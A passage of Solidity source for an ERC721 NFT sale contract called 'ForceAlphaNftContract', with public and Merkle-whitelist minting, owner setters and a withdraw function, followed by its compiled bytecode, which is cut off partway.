`tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: ERC2000000.sol pragma solidity ^0.8.7; library Address { function isContract(address account) internal view returns (bool) { uint size; assembly { size := extcodesize(account) } return size > 0; } } abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count; uint length= _owners.length; for( uint i; i < length; ++i ){ if( owner == _owners[i] ) ++count; } delete length; return count; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.7; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account but rips out the core of the gas-wasting processing that comes from OpenZeppelin. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _owners.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < _owners.length, "ERC721Enumerable: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); uint count; for(uint i; i < _owners.length; i++){ if(owner == _owners[i]){ if(count == index) return i; else count++; } } revert("ERC721Enumerable: owner index out of bounds"); } } pragma solidity ^0.8.7; contract ForceAlphaNftContract is ERC721Enumerable, Ownable { using Strings for uint256; string private uriPrefix; string private uriSuffix = ".json"; string private revealURI ="ipfs://QmRABdXqKsWvaNTPcA1AuuZnpVcUcirDjLj4hzLHesGdiJ"; //TODO: Update variable when whitelist addresses are provided bytes32 public whitelistMerkleRoot; uint256 public cost = 0.07 ether; uint256 public whiteListCost = 0.05 ether; uint256 public constant maxSupply = 3344; uint256 public maxMintAmountPerTx = 20; uint256 public maxWLMintAmountPerTx = 5; bool public paused = true; bool public WLpaused = true; bool public reveal = false; mapping(address => uint256) public _mintedNfts; constructor() ERC721("FORCE ALPHA", "FORC") {} function mint(uint256 _mintAmount) external payable { uint256 totalSupply = _owners.length; require(totalSupply + _mintAmount <= maxSupply, "Exceeds max supply."); require(_mintAmount <= maxMintAmountPerTx, "Exceeds max per transaction."); require(!paused, "The contract is paused!"); require(msg.value == cost * _mintAmount, "Insufficient funds!"); for(uint i; i < _mintAmount; i++) { _mint(msg.sender, totalSupply + i); } delete totalSupply; delete _mintAmount; } function adminMint(uint256 _mintAmount, address _receiver) external onlyOwner { uint256 totalSupply = _owners.length; require(totalSupply + _mintAmount <= maxSupply, "Excedes max supply."); for(uint i; i < _mintAmount; i++) { _mint(_receiver , totalSupply + i); } delete _mintAmount; delete _receiver; delete totalSupply; } function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) external onlyOwner { whitelistMerkleRoot = _whitelistMerkleRoot; } function getLeafNode(address _leaf) internal pure returns (bytes32 temp) { return keccak256(abi.encodePacked(_leaf)); } function _verify(bytes32 leaf, bytes32[] memory proof) internal view returns (bool) { return MerkleProof.verify(proof, whitelistMerkleRoot, leaf); } function whitelistMint(uint256 _mintAmount, bytes32[] calldata merkleProof) external payable { bytes32 leafnode = getLeafNode(msg.sender); require(_verify(leafnode , merkleProof ), "Invalid merkle proof"); require((_mintedNfts[msg.sender] + _mintAmount) <= maxWLMintAmountPerTx, "Exceeds Max Allowed Minting Token Amount."); require(!WLpaused, "Whitelist minting is over!"); require(msg.value == whiteListCost * _mintAmount, "Insufficient funds!"); uint256 totalSupply = _owners.length; for(uint i; i < _mintAmount; i++) { _mint(msg.sender , totalSupply + i); } _mintedNfts[msg.sender] += _mintAmount; delete totalSupply; delete _mintAmount; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(reveal) { string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } else { return revealURI; } } function setCost(uint256 _cost) external onlyOwner { cost = _cost; delete _cost; } function setWLCost(uint256 _cost) external onlyOwner { whiteListCost = _cost; delete _cost; } function changeRevealStatus() external onlyOwner { reveal = !reveal; } function setRevealURI(string memory _revealURI) external onlyOwner { revealURI = _revealURI; delete _revealURI; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) external onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; delete _maxMintAmountPerTx; } function setMaxWLMintAmountPerTx(uint256 _maxWLMintAmountPerTx) external onlyOwner { maxWLMintAmountPerTx = _maxWLMintAmountPerTx; delete _maxWLMintAmountPerTx; } function setUriPrefix(string memory _uriPrefix) external onlyOwner { uriPrefix = _uriPrefix; } function setPaused() external onlyOwner { paused = !paused; } function setWLPaused() external onlyOwner { WLpaused = !WLpaused; } function withdraw() external onlyOwner { uint _balance = address(this).balance; payable(msg.sender).transfer(_balance ); } function _mint(address to, uint256 tokenId) internal virtual override { _owners.push(to); emit Transfer(address(0), to, tokenId); } function _baseURI() internal view returns (string memory) { return uriPrefix; } }
0x60806040526004361061025c5760003560e01c80637ec4a65911610144578063b071401b116100b6578063d1d192131161007a578063d1d19213146106c2578063d1f0e805146106e2578063d2cab056146106f8578063d5abeb011461070b578063e985e9c514610721578063f2fde38b1461076a57600080fd5b8063b071401b14610622578063b88d4fde14610642578063bd32fb6614610662578063c87b56dd14610682578063d0e1f7be146106a257600080fd5b806395d89b411161010857806395d89b4114610584578063a0712d6814610599578063a22cb465146105ac578063a475b5dd146105cc578063a811a37b146105ec578063aa98e0c61461060c57600080fd5b80637ec4a659146104fb5780637f6e90931461051b5780638da5cb5b1461053a5780639257e0441461055857806394354fd01461056e57600080fd5b80632d5b005d116101dd57806344a0d68a116101a157806344a0d68a1461044c5780634f6ccce71461046c5780635c975abb1461048c5780636352211e146104a657806370a08231146104c6578063715018a6146104e657600080fd5b80632d5b005d146103cd5780632f745c59146103e257806337a66d85146104025780633ccfd60b1461041757806342842e0e1461042c57600080fd5b80630dc28efe116102245780630dc28efe1461032757806313faede61461034757806318160ddd1461036b5780631e51264f1461038057806323b872dd146103ad57600080fd5b806301ffc9a71461026157806306fdde0314610296578063081812fc146102b8578063093cfa63146102f0578063095ea7b314610307575b600080fd5b34801561026d57600080fd5b5061028161027c366004612092565b61078a565b60405190151581526020015b60405180910390f35b3480156102a257600080fd5b506102ab6107b5565b60405161028d91906122e4565b3480156102c457600080fd5b506102d86102d3366004612079565b610847565b6040516001600160a01b03909116815260200161028d565b3480156102fc57600080fd5b506103056108d4565b005b34801561031357600080fd5b5061030561032236600461204f565b61091b565b34801561033357600080fd5b50610305610342366004612115565b610a31565b34801561035357600080fd5b5061035d600a5481565b60405190815260200161028d565b34801561037757600080fd5b5060025461035d565b34801561038c57600080fd5b5061035d61039b366004611f0d565b600f6020526000908152604090205481565b3480156103b957600080fd5b506103056103c8366004611f5b565b610ae5565b3480156103d957600080fd5b50610305610b16565b3480156103ee57600080fd5b5061035d6103fd36600461204f565b610b5f565b34801561040e57600080fd5b50610305610c12565b34801561042357600080fd5b50610305610c50565b34801561043857600080fd5b50610305610447366004611f5b565b610cad565b34801561045857600080fd5b50610305610467366004612079565b610cc8565b34801561047857600080fd5b5061035d610487366004612079565b610cf7565b34801561049857600080fd5b50600e546102819060ff1681565b3480156104b257600080fd5b506102d86104c1366004612079565b610d64565b3480156104d257600080fd5b5061035d6104e1366004611f0d565b610df0565b3480156104f257600080fd5b50610305610ec2565b34801561050757600080fd5b506103056105163660046120cc565b610ef8565b34801561052757600080fd5b50600e5461028190610100900460ff1681565b34801561054657600080fd5b506005546001600160a01b03166102d8565b34801561056457600080fd5b5061035d600b5481565b34801561057a57600080fd5b5061035d600c5481565b34801561059057600080fd5b506102ab610f35565b6103056105a7366004612079565b610f44565b3480156105b857600080fd5b506103056105c7366004612013565b6110ba565b3480156105d857600080fd5b50600e546102819062010000900460ff1681565b3480156105f857600080fd5b506103056106073660046120cc565b61117f565b34801561061857600080fd5b5061035d60095481565b34801561062e57600080fd5b5061030561063d366004612079565b6111bc565b34801561064e57600080fd5b5061030561065d366004611f97565b6111eb565b34801561066e57600080fd5b5061030561067d366004612079565b61121d565b34801561068e57600080fd5b506102ab61069d366004612079565b61124c565b3480156106ae57600080fd5b506103056106bd366004612079565b6113c2565b3480156106ce57600080fd5b506103056106dd366004612079565b6113f1565b3480156106ee57600080fd5b5061035d600d5481565b610305610706366004612138565b611420565b34801561071757600080fd5b5061035d610d1081565b34801561072d57600080fd5b5061028161073c366004611f28565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205460ff1690565b34801561077657600080fd5b50610305610785366004611f0d565b611659565b60006001600160e01b0319821663780e9d6360e01b14806107af57506107af826116f4565b92915050565b6060600080546107c4906124a8565b80601f01602080910402602001604051908101604052809291908181526020018280546107f0906124a8565b801561083d5780601f106108125761010080835404028352916020019161083d565b820191906000526020600020905b81548152906001019060200180831161082057829003601f168201915b5050505050905090565b600061085282611744565b6108b85760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600360205260409020546001600160a01b031690565b6005546001600160a01b031633146108fe5760405162461bcd60e51b81526004016108af90612394565b600e805461ff001981166101009182900460ff1615909102179055565b600061092682610d64565b9050806001600160a01b0316836001600160a01b031614156109945760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108af565b336001600160a01b03821614806109b057506109b0813361073c565b610a225760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108af565b610a2c838361178e565b505050565b6005546001600160a01b03163314610a5b5760405162461bcd60e51b81526004016108af90612394565b600254610d10610a6b848361241a565b1115610aaf5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b232b99036b0bc1039bab838363c9760691b60448201526064016108af565b60005b83811015610adf57610acd83610ac8838561241a565b6117fc565b80610ad7816124e3565b915050610ab2565b50505050565b610aef3382611878565b610b0b5760405162461bcd60e51b81526004016108af906123c9565b610a2c838383611962565b6005546001600160a01b03163314610b405760405162461bcd60e51b81526004016108af90612394565b600e805462ff0000198116620100009182900460ff1615909102179055565b6000610b6a83610df0565b8210610b885760405162461bcd60e51b81526004016108af906122f7565b6000805b600254811015610bf95760028181548110610ba957610ba961253e565b6000918252602090912001546001600160a01b0386811691161415610be75783821415610bd95791506107af9050565b81610be3816124e3565b9250505b80610bf1816124e3565b915050610b8c565b5060405162461bcd60e51b81526004016108af906122f7565b6005546001600160a01b03163314610c3c5760405162461bcd60e51b81526004016108af90612394565b600e805460ff19811660ff90911615179055565b6005546001600160a01b03163314610c7a5760405162461bcd60e51b81526004016108af90612394565b6040514790339082156108fc029083906000818181858888f19350505050158015610ca9573d6000803e3d6000fd5b5050565b610a2c838383604051806020016040528060008152506111eb565b6005546001600160a01b03163314610cf25760405162461bcd60e51b81526004016108af90612394565b600a55565b6002546000908210610d605760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016108af565b5090565b60008060028381548110610d7a57610d7a61253e565b6000918252602090912001546001600160a01b03169050806107af5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108af565b60006001600160a01b038216610e5b5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108af565b600254600090815b81811015610eb95760028181548110610e7e57610e7e61253e565b6000918252602090912001546001600160a01b0386811691161415610ea957610ea6836124e3565b92505b610eb2816124e3565b9050610e63565b50909392505050565b6005546001600160a01b03163314610eec5760405162461bcd60e51b81526004016108af90612394565b610ef66000611ab8565b565b6005546001600160a01b03163314610f225760405162461bcd60e51b81526004016108af90612394565b8051610ca9906006906020840190611df0565b6060600180546107c4906124a8565b600254610d10610f54838361241a565b1115610f985760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b2399036b0bc1039bab838363c9760691b60448201526064016108af565b600c54821115610fea5760405162461bcd60e51b815260206004820152601c60248201527f45786365656473206d617820706572207472616e73616374696f6e2e0000000060448201526064016108af565b600e5460ff161561103d5760405162461bcd60e51b815260206004820152601760248201527f54686520636f6e7472616374206973207061757365642100000000000000000060448201526064016108af565b81600a5461104b9190612446565b341461108f5760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108af565b60005b82811015610a2c576110a833610ac8838561241a565b806110b2816124e3565b915050611092565b6001600160a01b0382163314156111135760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108af565b3360008181526004602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6005546001600160a01b031633146111a95760405162461bcd60e51b81526004016108af90612394565b8051610ca9906008906020840190611df0565b6005546001600160a01b031633146111e65760405162461bcd60e51b81526004016108af90612394565b600c55565b6111f53383611878565b6112115760405162461bcd60e51b81526004016108af906123c9565b610adf84848484611b0a565b6005546001600160a01b031633146112475760405162461bcd60e51b81526004016108af90612394565b600955565b606061125782611744565b6112bb5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016108af565b600e5462010000900460ff161561132b5760006112d6611b3d565b905060008151116112f65760405180602001604052806000815250611324565b8061130084611b4c565b6007604051602001611314939291906121e3565b6040516020818303038152906040525b9392505050565b60088054611338906124a8565b80601f0160208091040260200160405190810160405280929190818152602001828054611364906124a8565b80156113b15780601f10611386576101008083540402835291602001916113b1565b820191906000526020600020905b81548152906001019060200180831161139457829003601f168201915b50505050509050919050565b919050565b6005546001600160a01b031633146113ec5760405162461bcd60e51b81526004016108af90612394565b600d55565b6005546001600160a01b0316331461141b5760405162461bcd60e51b81526004016108af90612394565b600b55565b604080513360601b6bffffffffffffffffffffffff1916602080830191909152825160148184030181526034909201909252805191012061149481848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250611c4a92505050565b6114d75760405162461bcd60e51b815260206004820152601460248201527324b73b30b634b21036b2b935b63290383937b7b360611b60448201526064016108af565b600d54336000908152600f60205260409020546114f590869061241a565b11156115555760405162461bcd60e51b815260206004820152602960248201527f45786365656473204d617820416c6c6f776564204d696e74696e6720546f6b65604482015268371020b6b7bab73a1760b91b60648201526084016108af565b600e54610100900460ff16156115ad5760405162461bcd60e51b815260206004820152601a60248201527f57686974656c697374206d696e74696e67206973206f7665722100000000000060448201526064016108af565b83600b546115bb9190612446565b34146115ff5760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108af565b60025460005b8581101561162d5761161b33610ac8838561241a565b80611625816124e3565b915050611605565b50336000908152600f60205260408120805487929061164d90849061241a565b90915550505050505050565b6005546001600160a01b031633146116835760405162461bcd60e51b81526004016108af90612394565b6001600160a01b0381166116e85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108af565b6116f181611ab8565b50565b60006001600160e01b031982166380ac58cd60e01b148061172557506001600160e01b03198216635b5e139f60e01b145b806107af57506301ffc9a760e01b6001600160e01b03198316146107af565b600254600090821080156107af575060006001600160a01b0316600283815481106117715761177161253e565b6000918252602090912001546001600160a01b0316141592915050565b600081815260036020526040902080546001600160a01b0319166001600160a01b03841690811790915581906117c382610d64565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6002805460018101825560009182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0385169081179091556040518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600061188382611744565b6118e45760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108af565b60006118ef83610d64565b9050806001600160a01b0316846001600160a01b0316148061192a5750836001600160a01b031661191f84610847565b6001600160a01b0316145b8061195a57506001600160a01b0380821660009081526004602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661197582610d64565b6001600160a01b0316146119dd5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108af565b6001600160a01b038216611a3f5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108af565b611a4a60008261178e565b8160028281548110611a5e57611a5e61253e565b6000918252602082200180546001600160a01b0319166001600160a01b03938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611b15848484611962565b611b2184848484611c59565b610adf5760405162461bcd60e51b81526004016108af90612342565b6060600680546107c4906124a8565b606081611b705750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611b9a5780611b84816124e3565b9150611b939050600a83612432565b9150611b74565b60008167ffffffffffffffff811115611bb557611bb5612554565b6040519080825280601f01601f191660200182016040528015611bdf576020820181803683370190505b5090505b841561195a57611bf4600183612465565b9150611c01600a866124fe565b611c0c90603061241a565b60f81b818381518110611c2157611c2161253e565b60200101906001600160f81b031916908160001a905350611c43600a86612432565b9450611be3565b60006113248260095485611d66565b60006001600160a01b0384163b15611d5b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611c9d9033908990889088906004016122a7565b602060405180830381600087803b158015611cb757600080fd5b505af1925050508015611ce7575060408051601f3d908101601f19168201909252611ce4918101906120af565b60015b611d41573d808015611d15576040519150601f19603f3d011682016040523d82523d6000602084013e611d1a565b606091505b508051611d395760405162461bcd60e51b81526004016108af90612342565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061195a565b506001949350505050565b600082611d738584611d7c565b14949350505050565b600081815b8451811015611de8576000858281518110611d9e57611d9e61253e565b60200260200101519050808311611dc45760008381526020829052604090209250611dd5565b600081815260208490526040902092505b5080611de0816124e3565b915050611d81565b509392505050565b828054611dfc906124a8565b90600052602060002090601f016020900481019282611e1e5760008555611e64565b82601f10611e3757805160ff1916838001178555611e64565b82800160010185558215611e64579182015b82811115611e64578251825591602001919060010190611e49565b50610d609291505b80821115610d605760008155600101611e6c565b600067ffffffffffffffff80841115611e9b57611e9b612554565b604051601f8501601f19908116603f01168101908282118183101715611ec357611ec3612554565b81604052809350858152868686011115611edc57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146113bd57600080fd5b600060208284031215611f1f57600080fd5b61132482611ef6565b60008060408385031215611f3b57600080fd5b611f4483611ef6565b9150611f5260208401611ef6565b90509250929050565b600080600060608486031215611f7057600080fd5b611f7984611ef6565b9250611f8760208501611ef6565b9150604084013590509250925092565b60008060008060808587031215611fad57600080fd5b611fb685611ef6565b9350611fc460208601611ef6565b925060408501359150606085013567ffffffffffffffff811115611fe757600080fd5b8501601f81018713611ff857600080fd5b61200787823560208401611e80565b91505092959194509250565b6000806040838503121561202657600080fd5b61202f83611ef6565b91506020830135801515811461204457600080fd5b809150509250929050565b6000806040838503121561206257600080fd5b61206b83611ef6565b946020939093013593505050565b60006020828403121561208b57600080fd5b5035919050565b6000602082840312156120a457600080fd5b81356113248161256a565b6000602082840312156120c157600080fd5b81516113248161256a565b6000602082840312156120de57600080fd5b813567ffffffffffffffff8111156120f557600080fd5b8201601f8101841361210657600080fd5b61195a84823560208401611e80565b6000806040838503121561212857600080fd5b82359150611f5260208401611ef6565b60008060006040848603121561214d57600080fd5b83359250602084013567ffffffffffffffff8082111561216c57600080fd5b818601915086601f83011261218057600080fd5b81358181111561218f57600080fd5b8760208260051b85010111156121a457600080fd5b6020830194508093505050509250925092565b600081518084526121cf81602086016020860161247c565b601f01601f19169290920160200192915050565b6000845160206121f68285838a0161247c565b8551918401916122098184848a0161247c565b8554920191600090600181811c908083168061222657607f831692505b85831081141561224457634e487b7160e01b85526022600452602485fd5b808015612258576001811461226957612296565b60ff19851688528388019550612296565b60008b81526020902060005b8581101561228e5781548a820152908401908801612275565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906122da908301846121b7565b9695505050505050565b60208152600061132460208301846121b7565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561242d5761242d612512565b500190565b60008261244157612441612528565b500490565b600081600019048311821515161561246057612460612512565b500290565b60008282101561247757612477612512565b500390565b60005b8381101561249757818101518382015260200161247f565b83811115610adf5750506000910152565b600181811c908216806124bc57607f821691505b602082108114156124dd57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156124f7576124f7612512565b5060010190565b60008261250d5761250d612528565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b60005260416004526